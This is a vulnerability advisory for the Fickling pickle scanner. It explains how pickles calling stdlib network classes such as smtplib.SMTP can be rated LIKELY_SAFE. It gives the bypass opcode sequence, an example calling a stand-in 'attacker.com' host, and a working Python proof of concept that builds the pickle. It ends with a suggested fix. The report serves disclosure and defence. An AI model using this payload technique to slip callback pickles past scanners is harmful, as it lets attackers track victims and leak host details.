Fickling has a detection bypass via stdlib network-protocol constructors

Summary

# Our assessment `imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected. # Original report ## Summary Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as `LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`, `ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`. The bypass exploits two independent root causes described below. --- ## Root Cause 1: Incomplete blocklist (fixed in PR #233) `fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist. `fickling/analysis.py` (lines 229-248) defines the parallel `UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time: | Module | Class | Default port | Constructor side-effect | |---|---|---|---| | `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO | | `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner | | `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner | | `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting | | `telnetlib` | `Telnet` | 23 | TCP connect | | `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake | Because these module names were absent from both blocklists, `UnsafeImportsML`, `UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did not fire. **Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`. --- ## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched) ### Description `unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables that are assigned but never referenced. `UnusedVariables` analysis calls this method and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a bare `REDUCE` opcode that stores its result without using it. The flaw is at line 1183. The method iterates over `module_body` statements and, when it encounters the final `result = <expr>` assignment, breaks out of the loop immediately without first walking the right-hand side expression for `Name` references: ```python # fickling/fickle.py:1183 (current code -- vulnerable) if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # this is the return value of the program break # exits WITHOUT scanning statement.value ``` Any variable that appears only in the RHS of `result = <expr>` is therefore never added to the `used` set and is incorrectly classified as unused. ### How this enables bypass suppression When fickling processes a `REDUCE` opcode in isolation, it generates: ```python _var0 = SMTP('attacker.com', 25) result = _var0 ``` Because the loop breaks before scanning `result = _var0`, `_var0` never enters `used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`. Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated AST to: ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) # dangerous call _var1 = _var0 # BUILD step 1: intermediate reference _var1.__setstate__({}) # BUILD step 2: state call result = _var1 ``` Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent. The `__setstate__` call is excluded from `OvertlyBadEvals` because `ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls` (line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`. The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds `SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals` skips calls whose function name is in `likely_safe_imports` (lines 339-345). **Net result: zero warnings, severity `LIKELY_SAFE`.** This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched. ### Bypass opcode sequence ``` Offset Opcode Argument ------ ------ -------- 0 PROTO 4 2 GLOBAL 'smtplib' 'SMTP' 16 SHORT_BINUNICODE 'attacker.com' 30 BININT2 25 33 TUPLE2 34 REDUCE <- TCP connection opened here 35 EMPTY_DICT 36 BUILD <- suppresses UnusedVariables via flaw 37 STOP ``` Fickling's synthetic AST for this sequence (what all analysis passes inspect): ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) _var1 = _var0 _var1.__setstate__({}) result = _var1 ``` No analysis rule in fickling fires on this AST. ### Proof of Concept Requires only `pip install fickling`. Save as `poc.py` and run. ```python import socket import threading import pickle def build_bypass_pickle(host: str, port: int) -> bytes: h = host.encode("utf-8") return b"".join([ b"\x80\x04", b"csmtplib\nSMTP\n", b"\x8c" + bytes([len(h)]) + h, b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]), b"\x86", # TUPLE2 b"R", # REDUCE b"}", # EMPTY_DICT b"b", # BUILD b".", # STOP ]) def run_poc(): from fickling.analysis import check_safety from fickling.fickle import Pickled HOST, PORT = "127.0.0.1", 19902 received = [] def listener(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(1) srv.settimeout(5) try: conn, addr = srv.accept() received.append(addr) conn.close() except socket.timeout: pass srv.close() t = threading.Thread(target=listener, daemon=True) t.start() raw = build_bypass_pickle(HOST, PORT) loaded = Pickled.load(raw) result = check_safety(loaded) print(f"[*] fickling severity : {result.severity.name}") print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}") assert result.severity.name == "LIKELY_SAFE", "Bypass failed" print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed") print("[*] Calling pickle.loads() to simulate victim loading the file...") try: pickle.loads(raw) except Exception: pass t.join(timeout=5) if received: print(f"[+] Incoming TCP connection received from {received[0]}") print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE") else: print("[-] No TCP connection received (network blocked)") print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless") if __name__ == "__main__": run_poc() ``` ### Expected output ``` [*] fickling severity : LIKELY_SAFE [*] fickling is_safe : True [+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed [*] Calling pickle.loads() to simulate victim loading the file... [+] Incoming TCP connection received from ('127.0.0.1', 58412) [+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE ``` Tested on Python 3.11.1, Windows. Not OS-specific. ### Impact An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently: - **Enumerate victims** -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments - **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server - **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf - **Establish a covert channel** -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety` CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate completely with zero warnings. ### Suggested fix Walk `statement.value` before the `break` so variables referenced only in the result assignment are correctly counted as used: ```python # fickling/fickle.py:1183 -- suggested fix if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # scan RHS before breaking so variables used only here are marked as used for node in ast.walk(statement.value): if isinstance(node, ast.Name): used.add(node.id) break ``` This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied. --- ## Affected versions All releases including `v0.1.7` (latest). Confirmed on latest `master` as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report. ## Reporter Anmol Vats